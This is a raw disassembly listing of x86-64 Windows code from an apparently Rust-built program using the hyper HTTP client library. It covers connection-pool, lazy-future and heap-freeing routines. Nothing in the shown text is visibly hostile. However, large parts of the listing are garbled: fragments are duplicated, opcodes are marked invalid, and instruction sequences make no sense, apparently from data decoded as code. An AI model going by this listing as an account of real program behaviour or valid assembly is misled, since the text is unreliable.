xchg byte [rsi + 0x78], bl
test bl, bl
jne 0x1400637f6
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
xor edx, edx
xchg byte [rsi + 0x78], dl
test rax, rax
je 0x1400637f6
call qword [rax + 8]
lock dec qword [rsi]
mov rdi, qword [rsp + 0x30]
jne 0x14006380a
mov rcx, qword [rdi + 0x38]
call fcn.140066af0
mov qword [rdi + 0x38], r15
cmp dword [rsp + 0x188], 0x3b9aca00
mov rsi, rdi
je 0x14006382b
lea rcx, [rsp + 0x148]
call fcn.140066b60
mov rcx, qword [rsp + 0x48]
mov eax, dword [rsp + 0x3c]
test al, al
jne 0x14006384b
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140063b47
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140063859
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bpl, bpl
je 0x1400638ee
mov byte [rsp + 0x1b8], 2
cmp qword [rsi + 0x30], 0
je 0x14006388a
mov byte [r14 + 0x70], 3
add rsp, 0x2d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14006405c
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
lea rdx, str.pool_is_disabledC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonlazy.rs
mov r8d, 0x10
mov rcx, rax
call fcn.140065c80
mov qword [r14], rdi
cmp byte [rsp + 0x1b8], 2
mov byte [r14 + 0x70], 2
je 0x140063876
lea rcx, [rsp + 0x148]
call fcn.140064ab0
jmp 0x140063876
mov rdx, qword [rsi + 0x30]
lea rcx, [rsp + 0x148]
lea r9, [rsp + 0x230]
mov r8, rsi
call fcn.1400b9a90
cmp byte [rsp + 0x1b8], 2
je 0x14006386a
mov rax, qword [rsp + 0x1b8]
mov qword [r14 + 0x70], rax
movups xmm0, xmmword [rsp + 0x1a8]
movups xmmword [r14 + 0x60], xmm0
movups xmm0, xmmword [rsp + 0x198]
movups xmmword [r14 + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x188]
movups xmmword [r14 + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x148]
movups xmm1, xmmword [rsp + 0x158]
movups xmm2, xmmword [rsp + 0x168]
movups xmm3, xmmword [rsp + 0x178]
movups xmmword [r14 + 0x30], xmm3
movups xmmword [r14 + 0x20], xmm2
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
jmp 0x140063876
call fcn.1401105f0
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
test al, al
jne 0x14006384b
mov byte [rdx + 0x11], 1
jmp 0x14006384b
mov rcx, qword [rsp + 0x50]
cmp qword [rcx + 0x98], 0
mov rdx, qword [rsp + 0x1e8]
je 0x14006400d
movups xmm0, xmmword [rsp + 0x60]
movdqu xmm1, xmmword [rsp + 0x70]
movdqu xmm2, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x110], xmm2
movdqa xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
movdqu xmm0, xmmword [r13 + rdx]
pmovmskb r8d, xmm0
test r8d, r8d
mov bpl, 1
mov r15, qword [rsp + 0xd8]
je 0x140063f19
mov rsi, qword [rsp + 0x30]
mov r10, qword [rsp + 0xd0]
jmp 0x140063f47
enter 0, 0
lea r9, [rsp + 0x92]
jle 0x14006406b
lock inc qword [r14 + 0x1c8]
lock inc qword [r14]
jle 0x14006406b
mov qword [rsp + 0xf7], rbp
mov qword [rsp + 0xff], rdi
mov qword [rsp + 0x107], rsi
movzx edi, byte [rsp + 0x138]
mov byte [rsp + 0x10f], dil
mov ecx, dword [r9]
mov ecx, dword [rcx]
mov ecx, dword [rcx]
mov dword [rsp + 0x40], ecx
movzx ecx, word [r9 + 4]
mov word [rsp + 0x44], cx
mov qword [rsp + 0x1c7], rax
mov qword [rsp + 0x1cf], rdx
mov qword [rsp + 0x1d7], rsi
mov byte [rsp + 0x1df], dil
cmp r8b, 2
jne 0x140063cf3
mov r9b, 2
lea rax, [rsp + 0x40]
and al, 0x40
and al, 0x40
lea rcx, [rsp + 0xf0]
mov rsi, qword [rsp + 0x30]
jmp 0x140063d9c
mov rdi, r11
call fcn.1400df770
mov r15, rax
mov ebp, edx
mov rax, qword [rbx - 8]
cmp rax, qword [rbx - 0x18]
mov rsi, qword [rsp + 0x30]
jne 0x140063d1c
lea rcx, [rbx - 0x18]
call fcn.14003ab50
mov rax, qword [rbx - 8]
mov rcx, qword [rbx - 0x10]
lea rdx, [rax + rax*8]
mov r11, rdi
mov qword [rcx + rdx*8], rdi
mov qword [rcx + rdx*8 + 8], r14
mov byte [rcx + rdx*8 + 0x10], 2
movdqu xmm0, xmmword [rsp + 0xf0]
movdqu xmm1, xmmword [rsp + 0x100]
movdqu xmmword [rcx + rdx*8 + 0x11], xmm0
movdqu xmmword [rcx + rdx*8 + 0x21], xmm1
movzx r9d, byte [rsp + 0xc8]
mov byte [rcx + rdx*8 + 0x31], r9b
lea r10, [rsp + 0x92]
mov r8d, dword [r10]
mov dword [rcx + rdx*8 + 0x32], r8d
movzx r8d, word [r10 + 4]
mov word [rcx + rdx*8 + 0x36], r8w
mov qword [rcx + rdx*8 + 0x38], r15
mov dword [rcx + rdx*8 + 0x40], ebp
inc rax
mov qword [rbx - 8], rax
lea rax, [rsp + 0x22a]
lea rcx, [rsp + 0x1c0]
movzx edx, byte [rsp + 0x58]
movups xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmmword [rsp + 0x169], xmm1
movups xmmword [rsp + 0x159], xmm0
mov ecx, dword [rax]
mov dword [rsp + 0x17a], ecx
movzx eax, word [rax + 4]
mov word [rsp + 0x17e], ax
cmp qword [rbx - 8], 0
mov qword [rsp + 0x148], r11
add qword [rax], rax
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x50
add dword [rax], eax
add byte [rax + 0x1582494], cl
add byte [rax], al
add qword [rax], rax
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x50
add dword [rax], eax
add byte [rax + 0x1582494], cl
add byte [rax], al
mov byte [rsp + 0x179], r9b
mov qword [rsp + 0x180], r12
mov dword [rsp + 0x188], r13d
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x238], rax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x240], al
mov rax, qword [rsp + 0x159]
mov qword [rsp + 0x241], rax
mov eax, dword [rsp + 0x161]
mov dword [rsp + 0x249], eax
movzx eax, word [rsp + 0x165]
mov word [rsp + 0x24d], ax
movzx eax, byte [rsp + 0x167]
mov byte [rsp + 0x24f], al
movups xmm0, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x250], xmm0
movdqu xmm0, xmmword [rsp + 0x178]
movdqa xmmword [rsp + 0x260], xmm0
je 0x140063ea2
xor ebp, ebp
mov r14, qword [rsp + 0xe8]
jmp 0x14006382b
lea rcx, [rsp + 0x60]
mov rdx, qword [rsp + 0xd8]
mov r8, rsi
call fcn.1400b9bc0
mov rsi, qword [rsp + 0x60]
movabs rax, 0x8000000000000000
cmp rsi, rax
je 0x140063f05
mov r14, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x140063eee
mov r15, r14
mov rcx, r15
call fcn.140066b60
add r15, 0x48
dec rbx
jne 0x140063edd
test rsi, rsi
je 0x140063f05
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebp, ebp
mov r14, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0x30]
jmp 0x14006382b
mov r9d, 0x10
mov r10, qword [rsp + 0xd0]
add rdx, r9
and rdx, rdi
movdqu xmm0, xmmword [r13 + rdx]
pmovmskb r8d, xmm0
add r9, 0x10
test r8d, r8d
je 0x140063f27
mov rsi, qword [rsp + 0x30]
tzcnt r8d, r8d
add r8, rdx
and r8, rdi
movzx edx, byte [r13 + r8]
test dl, dl
js 0x140063f71
movdqa xmm0, xmmword [r13]
pmovmskb ecx, xmm0
tzcnt r8d, ecx
movzx edx, byte [r13 + r8]
lea rcx, [r8 - 0x10]
and rcx, rdi
mov byte [r13 + r8], r10b
mov byte [r13 + rcx + 0x10], r10b
neg r8
lea rcx, [r8 + r8*4]
shl rcx, 4
lea r14, [rcx + r13]
and dl, 1
movzx edx, dl
mov r8, qword [rsp + 0x50]
sub qword [r8 + 0x98], rdx
movdqa xmm0, xmmword [rsp + 0xf0]
movdqa xmm1, xmmword [rsp + 0x100]
outsd dx, dword [rsi]
mov word [rax + rax], fs
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
xchg esp, eax
and al, 0x10
add dword [rax], eax
add bl, dh
movq qword [r13 + rcx - 0x30], mm2
outsd dx, dword [rsi]
mov word [rax + rax], fs
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
xchg esp, eax
and al, 0x10
add dword [rax], eax
add bl, dh
movq qword [r13 + rcx - 0x30], mm2
movdqu xmmword [r13 + rcx - 0x40], xmm1
movdqu xmmword [r13 + rcx - 0x50], xmm0
mov qword [r13 + rcx - 0x20], 0
mov qword [r13 + rcx - 0x18], 8
pxor xmm0, xmm0
movdqu xmmword [r13 + rcx - 0x10], xmm0
inc qword [r8 + 0xa0]
mov rcx, qword [r14 - 0x20]
mov rax, qword [r14 - 8]
cmp rax, rcx
je 0x14006358d
jmp 0x14006359e
lea rdx, [rcx + 0xa8]
mov rcx, qword [rsp + 0x128]
call fcn.14010ecc0
mov rcx, qword [rsp + 0x50]
mov r13, qword [rcx + 0x88]
mov rdi, qword [rcx + 0x90]
mov rdx, qword [rsp + 0x1e0]
and al, 0xe0
add dword [rax], eax
add byte [rax + 0x21], cl
cli
and al, 0xe0
add dword [rax], eax
add byte [rax + 0x21], cl
cli
jmp 0x140063bde
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rsp
mov edx, 0x28
add al, ch
invalid
or r8b, byte [r8]
add al, ch
invalid
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
ud2
xor eax, eax
xchg byte [r15 + 0x48], al
mov byte [rsp + 0x91], 2
add byte [rdx], al
lea rcx, [rsp + 0x60]
call fcn.1400b9f60
lea rcx, str.assertion_failed:_Pin::new_mut_rx_.poll_cx_.is_pending__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0x39
cmp dword [rax], eax
add byte [rax], al
cmp dword [rax], eax
add byte [rax], al
call fcn.140108630
mov ecx, 8
mov edx, 0x20
call fcn.1401082c0
int3
mov eax, dword [rdx]
lea rdx, [rax - 6]
cmp rdx, 2
ja 0x1400641d5
cmp rdx, 1
je 0x1400641d5
cmp eax, 6
jne 0x14006465e
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x28], rcx
mov rax, qword [rsi + 8]
mov qword [rsi], 8
cmp rax, 2
jae 0x140064672
lea rdi, [rsi + 0x10]
mov qword [rsp + 0x1d0], rax
lea rcx, [rsp + 0x1d8]
and al, 0xd8
add dword [rax], eax
add byte [rcx - 0x48], al
test al, 1
add byte [rax], al
and al, 0xd8
add dword [rax], eax
add byte [rcx - 0x48], al
test al, 1
add byte [rax], al
mov rdx, rdi
call fcn.140106530
lea r8, [rsp + 0x2d8]
movzx r9d, byte [rsp + 0x378]
mov rdx, qword [rsp + 0x360]
lea rcx, [rsp + 0xf0]
call fcn.140078ab0
cmp byte [rsp + 0xf0], 3
jne 0x140064252
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400646b5
mov rbx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
lea rdx, str.HTTP_2_connection_in_progressALPN_upgraded_to_HTTP_2C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientclient.rs
mov r8d, 0x1d
mov rcx, rax
call fcn.140065c80
lea rcx, [rsp + 0x1d0]
call fcn.1400646d0
mov r13d, 5
mov bpl, 2
jmp 0x140064495
cmp eax, 5
jne 0x14006422f
movzx eax, byte [rsi + 0x78]
mov byte [rsi + 0x78], 3
cmp al, 3
je 0x140064685
movups xmm0, xmmword [rsi + 0x68]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rcx + 0x50], xmm0
movups xmm0, xmmword [rsi + 0x48]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rsi + 8]
movups xmm1, xmmword [rsi + 0x18]
movups xmm2, xmmword [rsi + 0x28]
movups xmm3, xmmword [rsi + 0x38]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov byte [rcx + 0x70], al
mov eax, dword [rsi + 0x79]
mov edx, dword [rsi + 0x7c]
jmp 0x140064632
mov rdx, rsi
movaps xmm6, xmmword [rsp + 0x460]
add rsp, 0x478
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x140072910
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x77], rax
movups xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movups xmm2, xmmword [rsp + 0x110]
movups xmmword [rsp + 0x67], xmm2
movups xmmword [rsp + 0x57], xmm1
movups xmmword [rsp + 0x47], xmm0
movups xmm0, xmmword [rsp + 0x1d0]
movups xmm1, xmmword [rsp + 0x1e0]
movups xmm2, xmmword [rsp + 0x1f0]
movups xmm3, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x120], xmm3
movups xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x130], xmm0
movups xmm0, xmmword [rsp + 0x220]
movaps xmmword [rsp + 0x140], xmm0
movups xmm0, xmmword [rsp + 0x230]
movaps xmmword [rsp + 0x150], xmm0
movups xmm0, xmmword [rsp + 0x240]
movaps xmmword [rsp + 0x160], xmm0
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x1c0], rax
movups xmm0, xmmword [rsp + 0x348]
movaps xmmword [rsp + 0x1b0], xmm0
movups xmm0, xmmword [rsp + 0x338]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rsp + 0x328]
movaps xmmword [rsp + 0x190], xmm0
movups xmm0, xmmword [rsp + 0x318]
nop
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x318], al
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [rsp + 0x308]
movaps xmmword [rsp + 0x170], xmm0
movzx r15d, byte [rsp + 0x379]
mov r13, qword [rsp + 0x250]
mov rbx, qword [rsp + 0x258]
movups xmm0, xmmword [rsp + 0x260]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [rsp + 0x280]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rsp + 0x2a0]
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [rsp + 0x2b0]
rol byte [rax], 0
add byte [rdi], cl
adc byte [rsp + 0x2b0], al
movaps xmmword [rsp + 0xd0], xmm0
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0xe0], rax
movzx ebp, byte [rsp + 0x2c8]
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x3f], rax
mov rax, qword [rsp + 0x2c9]
mov qword [rsp + 0x38], rax
movups xmm6, xmmword [rsp + 0x360]
mov r12, qword [rsp + 0x370]
lea rcx, [rsp + 0x388]
lea rdx, [rsp + 0xf0]
mov r8d, 0xd8
and al, 0x70
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rcx*4], fs
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xf0
add byte [rax], al
add byte [rcx - 0x48], al
fadd dword [rax]
add byte [rax], al
call fcn.140106530
cmp byte [rsp + 0x2d8], 2
jb 0x140064472
mov r14, qword [rsp + 0x2e0]
lea rcx, [r14 + 0x18]
lea ecx, [rsi + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x300]
mov rax, qword [rsp + 0x2e8]
mov rdx, qword [rsp + 0x2f0]
mov r8, qword [rsp + 0x2f8]
call qword [rax + 0x10]
lea r14, [rsi + 8]
mov rax, qword [rsi]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x1400644c2
test rcx, rcx
jne 0x1400644f1
mov rcx, r14
call fcn.1400646d0
jmp 0x1400644f1
cmp eax, 5
jne 0x1400644df
add eax, 0xb60f1875
js 0x14006444f
movzx eax, byte [rsi + 0x78]
cmp eax, 2
je 0x1400644e9
clc
add dh, byte [rcx + rbx - 0x7d]
clc
add esi, dword [rsp + rbx + 0x4c]
mov ecx, esi
cmp eax, 3
je 0x1400644f1
mov rcx, r14
call fcn.140064ab0
jmp 0x1400644f1
mov rcx, rsi
call fcn.140064820
jmp 0x1400644f1
mov rcx, r14
call fcn.140035b40
mov qword [rsi], r13
mov qword [rsi + 8], rbx
mov rax, qword [rsp + 0xe0]
mov qword [rdi + 0x60], rax
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rdi + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rdi + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movaps xmm2, xmmword [rsp + 0xa0]
movaps xmm3, xmmword [rsp + 0xb0]
movups xmmword [rdi + 0x30], xmm3
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov byte [rsi + 0x78], bpl
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movups xmm2, xmmword [rsp + 0x58]
movups xmm3, xmmword [rsp + 0x68]
movups xmmword [rsi + 0x79], xmm0
movups xmmword [rsi + 0x89], xmm1
movups xmmword [rsi + 0x99], xmm2
movups xmmword [rsi + 0xa9], xmm3
mov rax, qword [rsp + 0x77]
mov qword [rsi + 0xb8], rax
movups xmmword [rsi + 0xc0], xmm6
mov qword [rsi + 0xd0], r12
mov byte [rsi + 0xd8], r15b
lea rcx, [rsi + 0xd9]
lea rdx, [rsp + 0x381]
mov r8d, 0xdf
call fcn.140106530
cmp r13, 7
je 0x1400645cb
lea rax, [r13 - 9]
cmp rax, 0xfffffffffffffffd
jae 0x14006469d
cmp r13, 5
mov rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
jne 0x14006463a
mov byte [rsi + 0x78], 3
cmp bpl, 3
je 0x140064685
movups xmm0, xmmword [r14 + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [r14 + 0x50]
movups xmmword [rcx + 0x50], xmm0
movups xmm0, xmmword [r14 + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movups xmm3, xmmword [r14 + 0x30]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov byte [rcx + 0x70], bpl
mov eax, dword [rsp + 0x38]
mov edx, dword [rsp + 0x3b]
mov dword [rcx + 0x71], eax
mov dword [rcx + 0x74], edx
jmp 0x140064642
mov rdx, rsi
call 0x140072910
movaps xmm6, xmmword [rsp + 0x460]
add rsp, 0x478
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp eax, 7
jne 0x14006466b
mov rcx, rsi
call fcn.140064820
mov qword [rsi], 8
lea rcx, str.lazy_state_wrongP_
lea rdx, [0x140142970]
call fcn.1400791f0
lea rcx, str.Ready_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x140142db8]
mov edx, 0x1d
call fcn.140108990
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, [0x140142938]
mov edx, 0x28
call fcn.140108630
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
int3
mov rax, qword [rdx + 0x10]
mov rcx, rdx
call qword [rax + 0x30]
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140065611
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14006554c
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x10]
xor esi, esi
jmp 0x1400655cf
mov rax, rsi
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rdi, rdx
call fcn.14010b250
mov rdx, rdi
jmp 0x140065518
add bl, ch
mov esi, 0xf00d8d48
xchg ebp, eax
invalid
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
add byte [rax], al
add byte [rax], al
call fcn.140108630
mov qword [rsp + 0x50], 0
lea rdx, [rsp + 0x38]
lea r9, [0x1401418a0]
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x50]
push rax
push rax
call fcn.14010ddb0
mov qword [rsp + 0x50], 0
add rcx, 8
lea rdx, [rsp + 0x48]
lea edx, [rsp + 0x48]
lea edx, [rsp + 0x48]
lea r8, [rsp + 0x50]
call fcn.14010ddf0
int3
int3
xchg dword [rbp + 0x48000001], edx
mov esi, ecx
xchg ebp, eax
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
lea rcx, [0x1401784ec]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0xffffffffffffff80
add dh, byte ds:[rdx + 0x28]
cmp byte [rsi], 2
jb 0x1400656c7
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov edx, dword [rdi + 8]
mov edx, dword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
add rsi, 0x28
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
mov rax, qword [rsi + 0x2b0]
mov eax, dword [rsi + 0x2b0]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmovb ecx, edx
cmovb ecx, edx
cmp rcx, 1
je 0x14006578e
test rcx, rcx
leave
jne 0x1400657f7
lea rcx, [rsi + 0x2b8]
call fcn.1400646d0
jmp 0x1400657f7
cmp dword [rsi + 0x2e8], 9
je 0x140065813
lea rcx, [rsi + 0x2a8]
call fcn.140064e00
mov rax, qword [rsi + 0x2e8]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x1400657c0
test rcx, rcx
leave
jne 0x140065813
lea rcx, [rsi + 0x2f0]
call fcn.1400646d0
jmp 0x140065813
lea rcx, [rsi + 0x2b0]
call fcn.140064e00
xor dh, 0xff
inc esi
xchg byte [rdx + rax - 0x41000000], ah
movsd dword [rdi], dword [rsi]
add al, byte [rax]
add bl, ch
invalid
xor dh, 0xff
inc esi
xchg byte [rdx + rax - 0x41000000], ah
movsd dword [rdi], dword [rsi]
add al, byte [rax]
add bl, ch
jne 0x140065712
cmp eax, 5
jne 0x1400657b2
clc
add eax, 0x8d481f75
invalid
lea rcx, [rsi + 0x2b8]
movzx eax, byte [rsi + 0x328]
cmp eax, 2
je 0x1400657f2
cmp eax, 3
je 0x1400657f7
call fcn.140064ab0
jmp 0x1400657f7
lea rcx, [rsi + 0x2b0]
call fcn.140064820
jmp 0x1400657f7
cmp eax, 5
jne 0x1400657e4
lea rcx, [rsi + 0x2f0]
movzx eax, byte [rsi + 0x360]
cmp eax, 2
je 0x140065823
cmp eax, 3
je 0x140065813
call fcn.140064ab0
jmp 0x140065813
lea rcx, [rsi + 0x2e8]
call fcn.140064820
jmp 0x140065813
call fcn.140035b40
mov byte [rsi + 0x2a2], 0
mov edi, 0x2a3
lea rcx, [rsi + 0x2a8]
lea ecx, [rsi + 0x2a8]
call fcn.140035b40
mov byte [rsi + rdi], 0
mov word [rsi + 0x2a6], 0
add rsp, 0x28
pop rdi
pop rsi
ret
call fcn.140035b40
jmp 0x140065813
lea eax, [rsp + 0x130]
call fcn.1400672b0
mov rax, qword [rsp + 0x30]
cmp rax, 5
je 0x140065be8
cmp eax, 4
jne 0x140065c38
lea rcx, [rsp + 0x38]
call fcn.140036d60
mov rcx, qword [rsp + 0x98]
call fcn.140003040
lea rcx, [rsp + 0xa8]
call fcn.140067400
jmp 0x140065be8
nop
add rsp, 0x238
pop rdi
pop rsi
ret
lea rcx, [rsp + 0x28]
call fcn.140035b40
cmp dword [rsp + 0x30], 3
je 0x140065be8
lea rcx, [rsp + 0x30]
call fcn.140002e60
lea rcx, [rsp + 0x110]
call fcn.14005b7d0
jmp 0x140065be8
mov rbx, qword [rbx - 8]
mov ebx, dword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], rdi
lea rax, [0x14013e0e0]
mov qword [rsi + 8], rax
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov edx, ebx
call fcn.1401082a0
mov ecx, 8
mov edx, 0x18
add byte [rax], al
add al, ch
jo 0x140065d73
or al, byte [rax]
add byte [rax], al
add al, ch
jo 0x140065d73
or al, byte [rax]
int3
int3
jmp 0x1016fa17c
add byte [rax], al
mov eax, r8d
jmp 0x140065e07
jb 0x140065e01
movzx ecx, ax
shr ecx, 2
imul r8d, ecx, 0x147b
shr r8d, 0x11
imul ecx, r8d, 0x64
sub eax, ecx
movzx eax, ax
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rcx + rax*2]
mov word [rsp + 0x56], ax
mov ecx, 0x25
mov eax, r8d
cmp ax, 0xa
jae 0x140065e12
or al, 0x30
mov byte [rsp + rcx + 0x30], al
dec rcx
jmp 0x140065e2a
movzx eax, ax
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [r8 + rax*2]
mov word [rsp + rcx + 0x2f], ax
add rcx, 0xfffffffffffffffe
lea rax, [rsp + rcx]
add rax, 0x31
mov r8d, 0x27
sub r8, rcx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdx
mov dl, 1
xor r9d, r9d
call fcn.140012de0
nop
add rsp, 0x58
ret
add byte [rax], al
mov r14, qword [rdx]
test r14, r14
je 0x14006611f
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
mov r12, qword [r8]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140065ede
test eax, eax
jne 0x140065f37
mov eax, dword [0x140182314]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
mov edi, dword [rcx + rax*8]
mov edi, dword [rcx + rax*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r15 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebp, byte [rax + 0x11c]
movzx r15d, byte [rax + 0x11d]
mov eax, r15d
test bpl, bpl
je 0x140065f11
test r15b, r15b
je 0x140065f5d
lea eax, [r15 - 1]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11d], al
add byte [rcx - 0x75], cl
invalid
invalid
test al, 2
je 0x140065f48
add byte [rcx - 0x75], cl
xor byte [rax - 0x16e98bfe], r13b
add dword ds:[rax], eax
add byte [rcx], dh
in eax, dx
jmp 0x140066075
xor ebp, ebp
xor r15d, r15d
mov rax, qword [r14 + 0x30]
test al, 2
jne 0x140066075
test al, 4
